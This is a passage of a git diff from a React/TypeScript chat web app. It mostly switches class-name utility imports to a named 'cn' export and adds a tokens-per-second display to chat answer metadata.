@@ -16,7 +16,7 @@ import ViewFormDropdown from '@/app/components/base/chat/chat-with-history/input
 import Confirm from '@/app/components/base/confirm'
 import RenameModal from '@/app/components/base/chat/chat-with-history/sidebar/rename-modal'
 import type { ConversationItem } from '@/models/share'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Header = () => {
   const {
diff --git a/web/app/components/base/chat/chat-with-history/header/operation.tsx b/web/app/components/base/chat/chat-with-history/header/operation.tsx
index 0923d712fa..9549e9da26 100644
--- a/web/app/components/base/chat/chat-with-history/header/operation.tsx
+++ b/web/app/components/base/chat/chat-with-history/header/operation.tsx
@@ -7,7 +7,7 @@ import {
 } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   title: string
diff --git a/web/app/components/base/chat/chat-with-history/index.tsx b/web/app/components/base/chat/chat-with-history/index.tsx
index 6953be4b3c..51ba88b049 100644
--- a/web/app/components/base/chat/chat-with-history/index.tsx
+++ b/web/app/components/base/chat/chat-with-history/index.tsx
@@ -17,7 +17,7 @@ import ChatWrapper from './chat-wrapper'
 import type { InstalledApp } from '@/models/explore'
 import Loading from '@/app/components/base/loading'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useDocumentTitle from '@/hooks/use-document-title'
 
 type ChatWithHistoryProps = {
diff --git a/web/app/components/base/chat/chat-with-history/inputs-form/index.tsx b/web/app/components/base/chat/chat-with-history/inputs-form/index.tsx
index 3a1b92089c..643ca1a808 100644
--- a/web/app/components/base/chat/chat-with-history/inputs-form/index.tsx
+++ b/web/app/components/base/chat/chat-with-history/inputs-form/index.tsx
@@ -5,7 +5,7 @@ import Button from '@/app/components/base/button'
 import Divider from '@/app/components/base/divider'
 import InputsFormContent from '@/app/components/base/chat/chat-with-history/inputs-form/content'
 import { useChatWithHistoryContext } from '../context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   collapsed: boolean
diff --git a/web/app/components/base/chat/chat-with-history/sidebar/index.tsx b/web/app/components/base/chat/chat-with-history/sidebar/index.tsx
index c6a7063d80..c5f2afd425 100644
--- a/web/app/components/base/chat/chat-with-history/sidebar/index.tsx
+++ b/web/app/components/base/chat/chat-with-history/sidebar/index.tsx
@@ -18,7 +18,7 @@ import Confirm from '@/app/components/base/confirm'
 import RenameModal from '@/app/components/base/chat/chat-with-history/sidebar/rename-modal'
 import DifyLogo from '@/app/components/base/logo/dify-logo'
 import type { ConversationItem } from '@/models/share'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 type Props = {
diff --git a/web/app/components/base/chat/chat-with-history/sidebar/item.tsx b/web/app/components/base/chat/chat-with-history/sidebar/item.tsx
index ea17f3f3ea..cd181fd7eb 100644
--- a/web/app/components/base/chat/chat-with-history/sidebar/item.tsx
+++ b/web/app/components/base/chat/chat-with-history/sidebar/item.tsx
@@ -6,7 +6,7 @@ import {
 import { useHover } from 'ahooks'
 import type { ConversationItem } from '@/models/share'
 import Operation from '@/app/components/base/chat/chat-with-history/sidebar/operation'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ItemProps = {
   isPin?: boolean
diff --git a/web/app/components/base/chat/chat-with-history/sidebar/operation.tsx b/web/app/components/base/chat/chat-with-history/sidebar/operation.tsx
index 19d2aa2cbf..9c4ea6ffb1 100644
--- a/web/app/components/base/chat/chat-with-history/sidebar/operation.tsx
+++ b/web/app/components/base/chat/chat-with-history/sidebar/operation.tsx
@@ -12,7 +12,7 @@ import { useTranslation } from 'react-i18next'
 import { useBoolean } from 'ahooks'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
 import ActionButton, { ActionButtonState } from '@/app/components/base/action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   isActive?: boolean
diff --git a/web/app/components/base/chat/chat/answer/basic-content.tsx b/web/app/components/base/chat/chat/answer/basic-content.tsx
index 6c8a44cf52..cb3791650a 100644
--- a/web/app/components/base/chat/chat/answer/basic-content.tsx
+++ b/web/app/components/base/chat/chat/answer/basic-content.tsx
@@ -2,7 +2,7 @@ import type { FC } from 'react'
 import { memo } from 'react'
 import type { ChatItem } from '../../types'
 import { Markdown } from '@/app/components/base/markdown'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type BasicContentProps = {
   item: ChatItem
diff --git a/web/app/components/base/chat/chat/answer/index.tsx b/web/app/components/base/chat/chat/answer/index.tsx
index a1b458ba9a..fb5b91054f 100644
--- a/web/app/components/base/chat/chat/answer/index.tsx
+++ b/web/app/components/base/chat/chat/answer/index.tsx
@@ -19,7 +19,7 @@ import Citation from '@/app/components/base/chat/chat/citation'
 import { EditTitle } from '@/app/components/app/annotation/edit-annotation-modal/edit-item'
 import type { AppData } from '@/models/share'
 import AnswerIcon from '@/app/components/base/answer-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { FileList } from '@/app/components/base/file-uploader'
 import ContentSwitch from '../content-switch'
 
diff --git a/web/app/components/base/chat/chat/answer/more.tsx b/web/app/components/base/chat/chat/answer/more.tsx
index e86011ea19..9326c6827f 100644
--- a/web/app/components/base/chat/chat/answer/more.tsx
+++ b/web/app/components/base/chat/chat/answer/more.tsx
@@ -18,20 +18,28 @@ const More: FC<MoreProps> = ({
         more && (
           <>
             <div
-              className='mr-2 max-w-[33.3%] shrink-0 truncate'
+              className='mr-2 max-w-[25%] shrink-0 truncate'
               title={`${t('appLog.detail.timeConsuming')} ${more.latency}${t('appLog.detail.second')}`}
             >
               {`${t('appLog.detail.timeConsuming')} ${more.latency}${t('appLog.detail.second')}`}
             </div>
             <div
-              className='max-w-[33.3%] shrink-0 truncate'
+              className='mr-2 max-w-[25%] shrink-0 truncate'
               title={`${t('appLog.detail.tokenCost')} ${formatNumber(more.tokens)}`}
             >
               {`${t('appLog.detail.tokenCost')} ${formatNumber(more.tokens)}`}
             </div>
+            {more.tokens_per_second && (
+              <div
+                className='mr-2 max-w-[25%] shrink-0 truncate'
+                title={`${more.tokens_per_second} tokens/s`}
+              >
+                {`${more.tokens_per_second} tokens/s`}
+              </div>
+            )}
             <div className='mx-2 shrink-0'>·</div>
             <div
-              className='max-w-[33.3%] shrink-0 truncate'
+              className='max-w-[25%] shrink-0 truncate'
               title={more.time}
             >
               {more.time}
diff --git a/web/app/components/base/chat/chat/answer/operation.tsx b/web/app/components/base/chat/chat/answer/operation.tsx
index fca0ae5cae..d068d3e108 100644
--- a/web/app/components/base/chat/chat/answer/operation.tsx
+++ b/web/app/components/base/chat/chat/answer/operation.tsx
@@ -26,7 +26,7 @@ import NewAudioButton from '@/app/components/base/new-audio-button'
 import Modal from '@/app/components/base/modal/modal'
 import Textarea from '@/app/components/base/textarea'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type OperationProps = {
   item: ChatItem
diff --git a/web/app/components/base/chat/chat/answer/tool-detail.tsx b/web/app/components/base/chat/chat/answer/tool-detail.tsx
index 26d1b3bbef..6e6710e053 100644
--- a/web/app/components/base/chat/chat/answer/tool-detail.tsx
+++ b/web/app/components/base/chat/chat/answer/tool-detail.tsx
@@ -7,7 +7,7 @@ import {
   RiLoader2Line,
 } from '@remixicon/react'
 import type { ToolInfoInThought } from '../type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ToolDetailProps = {
   payload: ToolInfoInThought
diff --git a/web/app/components/base/chat/chat/answer/workflow-process.tsx b/web/app/components/base/chat/chat/answer/workflow-process.tsx
index 0537d3c58b..c36f2b8f72 100644
--- a/web/app/components/base/chat/chat/answer/workflow-process.tsx
+++ b/web/app/components/base/chat/chat/answer/workflow-process.tsx
@@ -10,7 +10,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import type { ChatItem, WorkflowProcess } from '../../types'
 import TracingPanel from '@/app/components/workflow/run/tracing-panel'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { CheckCircle } from '@/app/components/base/icons/src/vender/solid/general'
 import { WorkflowRunningStatus } from '@/app/components/workflow/types'
 
diff --git a/web/app/components/base/chat/chat/chat-input-area/index.tsx b/web/app/components/base/chat/chat/chat-input-area/index.tsx
index 7d08b84b8e..bea1b3890b 100644
--- a/web/app/components/base/chat/chat/chat-input-area/index.tsx
+++ b/web/app/components/base/chat/chat/chat-input-area/index.tsx
@@ -16,7 +16,7 @@ import type { InputForm } from '../type'
 import { useCheckInputsForms } from '../check-input-forms-hooks'
 import { useTextAreaHeight } from './hooks'
 import Operation from './operation'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { FileListInChatInput } from '@/app/components/base/file-uploader'
 import { useFile } from '@/app/components/base/file-uploader/hooks'
 import {
@@ -79,7 +79,7 @@ const ChatInputArea = ({
     handleDropFile,
     handleClipboardPasteFile,
     isDragActive,
-  } = useFile(visionConfig!)
+  } = useFile(visionConfig!, false)
   const { checkInputsForm } = useCheckInputsForms()
   const historyRef = useRef([''])
   const [currentIndex, setCurrentIndex] = useState(-1)
diff --git a/web/app/components/base/chat/chat/chat-input-area/operation.tsx b/web/app/components/base/chat/chat/chat-input-area/operation.tsx
index 014ca6651f..2c041be90b 100644
--- a/web/app/components/base/chat/chat/chat-input-area/operation.tsx
+++ b/web/app/components/base/chat/chat/chat-input-area/operation.tsx
@@ -12,7 +12,7 @@ import Button from '@/app/components/base/button'
 import ActionButton from '@/app/components/base/action-button'
 import { FileUploaderInChatInput } from '@/app/components/base/file-uploader'
 import type { FileUpload } from '@/app/components/base/features/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type OperationProps = {
   fileConfig?: FileUpload
diff --git a/web/app/components/base/chat/chat/citation/popup.tsx b/web/app/components/base/chat/chat/citation/popup.tsx
index ee0a225bac..ef3a48c7f6 100644
--- a/web/app/components/base/chat/chat/citation/popup.tsx
+++ b/web/app/components/base/chat/chat/citation/popup.tsx
@@ -53,7 +53,7 @@ const Popup: FC<PopupProps> = ({
         </div>
       </PortalToFollowElemTrigger>
       <PortalToFollowElemContent style={{ zIndex: 1000 }}>
-        <div className='max-w-[360px] rounded-xl bg-background-section-burn shadow-lg'>
+        <div className='max-w-[360px] rounded-xl bg-background-section-burn shadow-lg backdrop-blur-[5px]'>
           <div className='px-4 pb-2 pt-3'>
             <div className='flex h-[18px] items-center'>
               <FileIcon type={fileType} className='mr-1 h-4 w-4 shrink-0' />
diff --git a/web/app/components/base/chat/chat/hooks.ts b/web/app/components/base/chat/chat/hooks.ts
index a10b359724..3729fd4a6d 100644
--- a/web/app/components/base/chat/chat/hooks.ts
+++ b/web/app/components/base/chat/chat/hooks.ts
@@ -318,6 +318,7 @@ export const useChat = (
 
       return player
     }
+
     ssePost(
       url,
       {
@@ -393,6 +394,7 @@ export const useChat = (
                 time: formatTime(newResponseItem.created_at, 'hh:mm A'),
                 tokens: newResponseItem.answer_tokens + newResponseItem.message_tokens,
                 latency: newResponseItem.provider_response_latency.toFixed(2),
+                tokens_per_second: newResponseItem.provider_response_latency > 0 ? (newResponseItem.answer_tokens / newResponseItem.provider_response_latency).toFixed(2) : undefined,
               },
               // for agent log
               conversationId: conversationId.current,
diff --git a/web/app/components/base/chat/chat/index.tsx b/web/app/components/base/chat/chat/index.tsx
index 0e947f8137..19c7b0da52 100644
--- a/web/app/components/base/chat/chat/index.tsx
+++ b/web/app/components/base/chat/chat/index.tsx
@@ -26,7 +26,7 @@ import ChatInputArea from './chat-input-area'
 import TryToAsk from './try-to-ask'
 import { ChatContextProvider } from './context'
 import type { InputForm } from './type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Emoji } from '@/app/components/tools/types'
 import Button from '@/app/components/base/button'
 import { StopCircle } from '@/app/components/base/icons/src/vender/solid/mediaAndDevices'
diff --git a/web/app/components/base/chat/chat/loading-anim/index.tsx b/web/app/components/base/chat/chat/loading-anim/index.tsx
index 801c89fce7..90cda3da2d 100644
--- a/web/app/components/base/chat/chat/loading-anim/index.tsx
+++ b/web/app/components/base/chat/chat/loading-anim/index.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type ILoadingAnimProps = {
   type: 'text' | 'avatar'
diff --git a/web/app/components/base/chat/chat/question.tsx b/web/app/components/base/chat/chat/question.tsx
index 21b604b969..a36e7ee160 100644
--- a/web/app/components/base/chat/chat/question.tsx
+++ b/web/app/components/base/chat/chat/question.tsx
@@ -21,7 +21,7 @@ import { RiClipboardLine, RiEditLine } from '@remixicon/react'
 import Toast from '../../toast'
 import copy from 'copy-to-clipboard'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Textarea from 'react-textarea-autosize'
 import Button from '../../button'
 import { useChatContext } from './context'
diff --git a/web/app/components/base/chat/chat/type.ts b/web/app/components/base/chat/chat/type.ts
index d4cf460884..98cc05dda4 100644
--- a/web/app/components/base/chat/chat/type.ts
+++ b/web/app/components/base/chat/chat/type.ts
@@ -8,6 +8,7 @@ export type MessageMore = {
   time: string
   tokens: number
   latency: number | string
+  tokens_per_second?: number | string
 }
 
 export type FeedbackType = {
diff --git a/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx b/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx
index b0a880d78f..ebd2e2de14 100644
--- a/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx
+++ b/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx
@@ -22,7 +22,7 @@ import LogoAvatar from '@/app/components/base/logo/logo-embedded-chat-avatar'
 import AnswerIcon from '@/app/components/base/answer-icon'
 import SuggestedQuestions from '@/app/components/base/chat/chat/answer/suggested-questions'
 import { Markdown } from '@/app/components/base/markdown'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileEntity } from '../../file-uploader/types'
 import Avatar from '../../avatar'
 
@@ -208,7 +208,7 @@ const ChatWrapper = () => {
       )
     }
     return (
-      <div className={cn('flex h-[50vh] flex-col items-center justify-center gap-3 py-12', isMobile ? 'min-h-[30vh] py-0' : 'h-[50vh]')}>
+      <div className={cn('flex min-h-[50vh] flex-col items-center justify-center gap-3 py-12', isMobile ? 'min-h-[30vh] py-0' : 'h-[50vh]')}>
         <AppIcon
           size='xl'
           iconType={appData?.site.icon_type}
diff --git a/web/app/components/base/chat/embedded-chatbot/header/index.tsx b/web/app/components/base/chat/embedded-chatbot/header/index.tsx
index 48f6de5725..16e656171e 100644
--- a/web/app/components/base/chat/embedded-chatbot/header/index.tsx
+++ b/web/app/components/base/chat/embedded-chatbot/header/index.tsx
@@ -12,7 +12,7 @@ import ActionButton from '@/app/components/base/action-button'
 import Divider from '@/app/components/base/divider'
 import ViewFormDropdown from '@/app/components/base/chat/embedded-chatbot/inputs-form/view-form-dropdown'
 import DifyLogo from '@/app/components/base/logo/dify-logo'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 export type IHeaderProps = {
diff --git a/web/app/components/base/chat/embedded-chatbot/index.tsx b/web/app/components/base/chat/embedded-chatbot/index.tsx
index 1553d1f153..d908e39787 100644
--- a/web/app/components/base/chat/embedded-chatbot/index.tsx
+++ b/web/app/components/base/chat/embedded-chatbot/index.tsx
@@ -17,7 +17,7 @@ import LogoHeader from '@/app/components/base/logo/logo-embedded-chat-header'
 import Header from '@/app/components/base/chat/embedded-chatbot/header'
 import ChatWrapper from '@/app/components/base/chat/embedded-chatbot/chat-wrapper'
 import DifyLogo from '@/app/components/base/logo/dify-logo'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useDocumentTitle from '@/hooks/use-document-title'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
diff --git a/web/app/components/base/chat/embedded-chatbot/inputs-form/index.tsx b/web/app/components/base/chat/embedded-chatbot/inputs-form/index.tsx
index 88472b5d8f..ac1017c619 100644
--- a/web/app/components/base/chat/embedded-chatbot/inputs-form/index.tsx
+++ b/web/app/components/base/chat/embedded-chatbot/inputs-form/index.tsx
@@ -5,7 +5,7 @@ import Button from '@/app/components/base/button'
 import Divider from '@/app/components/base/divider'
 import InputsFormContent from '@/app/components/base/chat/embedded-chatbot/inputs-form/content'
 import { useEmbeddedChatbotContext } from '../context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   collapsed: boolean
diff --git a/web/app/components/base/chat/embedded-chatbot/inputs-form/view-form-dropdown.tsx b/web/app/components/base/chat/embedded-chatbot/inputs-form/view-form-dropdown.tsx
index d6c89864d9..9d2a6d9824 100644
--- a/web/app/components/base/chat/embedded-chatbot/inputs-form/view-form-dropdown.tsx
+++ b/web/app/components/base/chat/embedded-chatbot/inputs-form/view-form-dropdown.tsx
@@ -7,7 +7,7 @@ import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigge
 import ActionButton, { ActionButtonState } from '@/app/components/base/action-button'
 import { Message3Fill } from '@/app/components/base/icons/src/public/other'
 import InputsFormContent from '@/app/components/base/chat/embedded-chatbot/inputs-form/content'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   iconColor?: string
diff --git a/web/app/components/base/checkbox-list/index.tsx b/web/app/components/base/checkbox-list/index.tsx
index ca8333a200..efb1b588d1 100644
--- a/web/app/components/base/checkbox-list/index.tsx
+++ b/web/app/components/base/checkbox-list/index.tsx
@@ -3,7 +3,7 @@ import Badge from '@/app/components/base/badge'
 import Checkbox from '@/app/components/base/checkbox'
 import SearchInput from '@/app/components/base/search-input'
 import SearchMenu from '@/assets/search-menu.svg'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Image from 'next/image'
 import type { FC } from 'react'
 import { useCallback, useMemo, useState } from 'react'
diff --git a/web/app/components/base/checkbox/index.tsx b/web/app/components/base/checkbox/index.tsx
index 9495292ea6..5d222f5723 100644
--- a/web/app/components/base/checkbox/index.tsx
+++ b/web/app/components/base/checkbox/index.tsx
@@ -1,5 +1,5 @@
 import { RiCheckLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import IndeterminateIcon from './assets/indeterminate-icon'
 
 type CheckboxProps = {
diff --git a/web/app/components/base/chip/index.tsx b/web/app/components/base/chip/index.tsx
index eeaf2b19c6..919f2e1ab1 100644
--- a/web/app/components/base/chip/index.tsx
+++ b/web/app/components/base/chip/index.tsx
@@ -1,7 +1,7 @@
 import type { FC } from 'react'
 import { useMemo, useState } from 'react'
 import { RiArrowDownSLine, RiCheckLine, RiCloseCircleFill, RiFilter3Line } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/base/content-dialog/index.tsx b/web/app/components/base/content-dialog/index.tsx
index 5efab57a40..4367744f4d 100644
--- a/web/app/components/base/content-dialog/index.tsx
+++ b/web/app/components/base/content-dialog/index.tsx
@@ -1,6 +1,6 @@
 import type { ReactNode } from 'react'
 import { Transition, TransitionChild } from '@headlessui/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ContentDialogProps = {
   className?: string
@@ -23,24 +23,20 @@ const ContentDialog = ({
     >
       <TransitionChild>
         <div
-          className={classNames(
-            'absolute inset-0 left-0 w-full bg-app-detail-overlay-bg',
+          className={cn('absolute inset-0 left-0 w-full bg-app-detail-overlay-bg',
             'duration-300 ease-in data-[closed]:opacity-0',
             'data-[enter]:opacity-100',
-            'data-[leave]:opacity-0',
-          )}
+            'data-[leave]:opacity-0')}
           onClick={onClose}
         />
       </TransitionChild>
 
       <TransitionChild>
-        <div className={classNames(
-          'absolute left-0 w-full border-r border-divider-burn bg-app-detail-bg',
+        <div className={cn('absolute left-0 w-full border-r border-divider-burn bg-app-detail-bg',
           'duration-100 ease-in data-[closed]:-translate-x-full',
           'data-[enter]:translate-x-0 data-[enter]:duration-300 data-[enter]:ease-out',
           'data-[leave]:-translate-x-full data-[leave]:duration-200 data-[leave]:ease-in',
-          className,
-        )}>
+          className)}>
           {children}
         </div>
       </TransitionChild>
diff --git a/web/app/components/base/corner-label/index.tsx b/web/app/components/base/corner-label/index.tsx
index 0807ed4659..25cd228ba5 100644
--- a/web/app/components/base/corner-label/index.tsx
+++ b/web/app/components/base/corner-label/index.tsx
@@ -1,5 +1,5 @@
 import { Corner } from '../icons/src/vender/solid/shapes'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type CornerLabelProps = {
   label: string
diff --git a/web/app/components/base/date-and-time-picker/calendar/item.tsx b/web/app/components/base/date-and-time-picker/calendar/item.tsx
index 7132d7bdfb..991ab84043 100644
--- a/web/app/components/base/date-and-time-picker/calendar/item.tsx
+++ b/web/app/components/base/date-and-time-picker/calendar/item.tsx
@@ -1,6 +1,6 @@
 import React, { type FC } from 'react'
 import type { CalendarItemProps } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import dayjs from '../utils/dayjs'
 
 const Item: FC<CalendarItemProps> = ({
diff --git a/web/app/components/base/date-and-time-picker/common/option-list-item.tsx b/web/app/components/base/date-and-time-picker/common/option-list-item.tsx
index 0144a7c6ec..fcb1e5299e 100644
--- a/web/app/components/base/date-and-time-picker/common/option-list-item.tsx
+++ b/web/app/components/base/date-and-time-picker/common/option-list-item.tsx
@@ -1,5 +1,5 @@
 import React, { type FC, useEffect, useRef } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type OptionListItemProps = {
   isSelected: boolean
diff --git a/web/app/components/base/date-and-time-picker/date-picker/footer.tsx b/web/app/components/base/date-and-time-picker/date-picker/footer.tsx
index 6351a8235b..9c7136f67a 100644
--- a/web/app/components/base/date-and-time-picker/date-picker/footer.tsx
+++ b/web/app/components/base/date-and-time-picker/date-picker/footer.tsx
@@ -2,7 +2,7 @@ import React, { type FC } from 'react'
 import Button from '../../button'
 import { type DatePickerFooterProps, ViewType } from '../types'
 import { RiTimeLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 const Footer: FC<DatePickerFooterProps> = ({
diff --git a/web/app/components/base/date-and-time-picker/date-picker/index.tsx b/web/app/components/base/date-and-time-picker/date-picker/index.tsx
index db089d10d0..a0ccfa153d 100644
--- a/web/app/components/base/date-and-time-picker/date-picker/index.tsx
+++ b/web/app/components/base/date-and-time-picker/date-picker/index.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import { RiCalendarLine, RiCloseCircleFill } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { DatePickerProps, Period } from '../types'
 import { ViewType } from '../types'
 import type { Dayjs } from 'dayjs'
diff --git a/web/app/components/base/date-and-time-picker/time-picker/index.tsx b/web/app/components/base/date-and-time-picker/time-picker/index.tsx
index 9577a107e5..316164bfac 100644
--- a/web/app/components/base/date-and-time-picker/time-picker/index.tsx
+++ b/web/app/components/base/date-and-time-picker/time-picker/index.tsx
@@ -18,7 +18,7 @@ import Options from './options'
 import Header from './header'
 import { useTranslation } from 'react-i18next'
 import { RiCloseCircleFill, RiTimeLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import TimezoneLabel from '@/app/components/base/timezone-label'
 
 const to24Hour = (hour12: string, period: Period) => {
diff --git a/web/app/components/base/dialog/index.tsx b/web/app/components/base/dialog/index.tsx
index d4c0f10b40..3a56942537 100644
--- a/web/app/components/base/dialog/index.tsx
+++ b/web/app/components/base/dialog/index.tsx
@@ -1,7 +1,7 @@
 import { Fragment, useCallback } from 'react'
 import type { ElementType, ReactNode } from 'react'
 import { Dialog, DialogPanel, DialogTitle, Transition, TransitionChild } from '@headlessui/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 // https://headlessui.com/react/dialog
 
@@ -35,37 +35,33 @@ const CustomDialog = ({
     <Transition appear show={show} as={Fragment}>
       <Dialog as="div" className="relative z-40" onClose={close}>
         <TransitionChild>
-          <div className={classNames(
-            'fixed inset-0 bg-background-overlay-backdrop backdrop-blur-[6px]',
+          <div className={cn('fixed inset-0 bg-background-overlay-backdrop backdrop-blur-[6px]',
             'duration-300 ease-in data-[closed]:opacity-0',
             'data-[enter]:opacity-100',
-            'data-[leave]:opacity-0',
-          )} />
+            'data-[leave]:opacity-0')} />
         </TransitionChild>
 
         <div className="fixed inset-0 overflow-y-auto">
           <div className="flex min-h-full items-center justify-center">
             <TransitionChild>
-              <DialogPanel className={classNames(
-                'w-full max-w-[800px] overflow-hidden rounded-2xl border-[0.5px] border-components-panel-border bg-components-panel-bg p-6 shadow-xl transition-all',
+              <DialogPanel className={cn('w-full max-w-[800px] overflow-hidden rounded-2xl border-[0.5px] border-components-panel-border bg-components-panel-bg p-6 shadow-xl transition-all',
                 'duration-100 ease-in data-[closed]:scale-95 data-[closed]:opacity-0',
                 'data-[enter]:scale-100 data-[enter]:opacity-100',
                 'data-[enter]:scale-95 data-[leave]:opacity-0',
-                className,
-              )}>
+                className)}>
                 {Boolean(title) && (
                   <DialogTitle
                     as={titleAs || 'h3'}
-                    className={classNames('title-2xl-semi-bold pb-3 pr-8 text-text-primary', titleClassName)}
+                    className={cn('title-2xl-semi-bold pb-3 pr-8 text-text-primary', titleClassName)}
                   >
                     {title}
                   </DialogTitle>
                 )}
-                <div className={classNames(bodyClassName)}>
+                <div className={cn(bodyClassName)}>
                   {children}
                 </div>
                 {Boolean(footer) && (
-                  <div className={classNames('flex items-center justify-end gap-2 px-6 pb-6 pt-3', footerClassName)}>
+                  <div className={cn('flex items-center justify-end gap-2 px-6 pb-6 pt-3', footerClassName)}>
                     {footer}
                   </div>
                 )}
diff --git a/web/app/components/base/divider/index.tsx b/web/app/components/base/divider/index.tsx
index 387f24a5e9..0fe4af0f1e 100644
--- a/web/app/components/base/divider/index.tsx
+++ b/web/app/components/base/divider/index.tsx
@@ -1,7 +1,7 @@
 import type { CSSProperties, FC } from 'react'
 import React from 'react'
 import { type VariantProps, cva } from 'class-variance-authority'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const dividerVariants = cva('',
   {
@@ -29,7 +29,7 @@ export type DividerProps = {
 
 const Divider: FC<DividerProps> = ({ type, bgStyle, className = '', style }) => {
   return (
-    <div className={classNames(dividerVariants({ type, bgStyle }), 'shrink-0', className)} style={style}></div>
+    <div className={cn(dividerVariants({ type, bgStyle }), 'shrink-0', className)} style={style}></div>
   )
 }
 
diff --git a/web/app/components/base/drawer-plus/index.tsx b/web/app/components/base/drawer-plus/index.tsx
index 33a1948181..4d822a0576 100644
--- a/web/app/components/base/drawer-plus/index.tsx
+++ b/web/app/components/base/drawer-plus/index.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useRef } from 'react'
 import { RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Drawer from '@/app/components/base/drawer'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
 
diff --git a/web/app/components/base/drawer/index.spec.tsx b/web/app/components/base/drawer/index.spec.tsx
index 87289cd869..666bd501ac 100644
--- a/web/app/components/base/drawer/index.spec.tsx
+++ b/web/app/components/base/drawer/index.spec.tsx
@@ -6,13 +6,6 @@ import type { IDrawerProps } from './index'
 // Capture dialog onClose for testing
 let capturedDialogOnClose: (() => void) | null = null
 
-// Mock react-i18next
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Mock @headlessui/react
 jest.mock('@headlessui/react', () => ({
   Dialog: ({ children, open, onClose, className, unmount }: {
diff --git a/web/app/components/base/drawer/index.tsx b/web/app/components/base/drawer/index.tsx
index 101ac22b6c..dca9f555c9 100644
--- a/web/app/components/base/drawer/index.tsx
+++ b/web/app/components/base/drawer/index.tsx
@@ -3,7 +3,7 @@ import { Dialog, DialogBackdrop, DialogTitle } from '@headlessui/react'
 import { useTranslation } from 'react-i18next'
 import { XMarkIcon } from '@heroicons/react/24/outline'
 import Button from '../button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IDrawerProps = {
   title?: string
diff --git a/web/app/components/base/dropdown/index.tsx b/web/app/components/base/dropdown/index.tsx
index 121fb06000..728f8098c5 100644
--- a/web/app/components/base/dropdown/index.tsx
+++ b/web/app/components/base/dropdown/index.tsx
@@ -1,6 +1,6 @@
 import type { FC } from 'react'
 import { useState } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   RiMoreFill,
 } from '@remixicon/react'
diff --git a/web/app/components/base/effect/index.tsx b/web/app/components/base/effect/index.tsx
index 95afb1ba5f..85fc5a7cd8 100644
--- a/web/app/components/base/effect/index.tsx
+++ b/web/app/components/base/effect/index.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
